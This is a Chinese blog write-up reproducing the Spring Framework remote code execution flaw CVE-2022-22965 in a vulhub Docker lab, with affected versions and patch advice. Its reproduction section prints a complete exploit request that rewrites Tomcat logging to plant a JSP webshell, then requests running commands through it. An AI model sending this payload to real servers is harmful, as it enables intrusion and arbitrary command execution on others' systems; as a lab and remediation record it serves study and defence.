Spring Framework远程代码执行漏洞(CVE-2022-22965)

0x01 漏洞概述

​该漏洞是SpringFramework数据绑定的一个漏洞,如果后台方法中接受的参数为非基础类型,Spring会根据前端传入的请求正文中的参数的key值来查询与其名称所对应的getter和setter方法,攻击者利用这一特性修改了Tomcat的一个用于日志记录的类的属性,进而当Tomcat在进行写日志操作的时候,将攻击者传递的恶意代码写入指定目录的指定文件中。

参考文章:

https://tanzu.vmware.com/security/cve-2022-22965

https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/

0x02 影响版本

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

以及任何引用SpringFramework的衍生产品

0x03 漏洞环境

1、启动漏洞环境

┌──(root㉿kali)-[/var/…/soft/vulhub-master/spring/CVE-2022-22965]
└─# docker-compose up -d

2、访问漏洞环境

http://your-ip:8080

3、复现完成后,删除漏洞环境

┌──(root㉿kali)-[/var/…/soft/vulhub-master/spring/CVE-2022-22965]
└─# docker-compose down 

0x04 复现过程

1、发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

2、然后,可以使用 JSP webshell 成功执行任意命令:

GET /tomcatwar.jsp?pwd=j&cmd=id HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=36231057AF03A68AFEF91316E47E7249
Upgrade-Insecure-Requests: 1

在网页中请求,如图所示:

3、查看路径下文件详情

GET /tomcatwar.jsp?pwd=j&cmd=ls HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=36231057AF03A68AFEF91316E47E7249
Upgrade-Insecure-Requests: 1

如图所示,复现成功。

0x05 修复建议

Spring官方目前已发布安全版本,建议用户尽快更新至安全版本,下载链接如下:

https://github.com/spring-projects/spring-framework

0x06 临时修复建议

1、在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields 方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.","Class. ",". class.", ".Class."}。(注:如果此代码片段使用较多,需要每个地方都追加)

2、在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到(推荐在Controller 所在的包中添加).完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。

posted @ 2022-06-07 09:33  RichardYg  阅读(673)  评论(0编辑  收藏  举报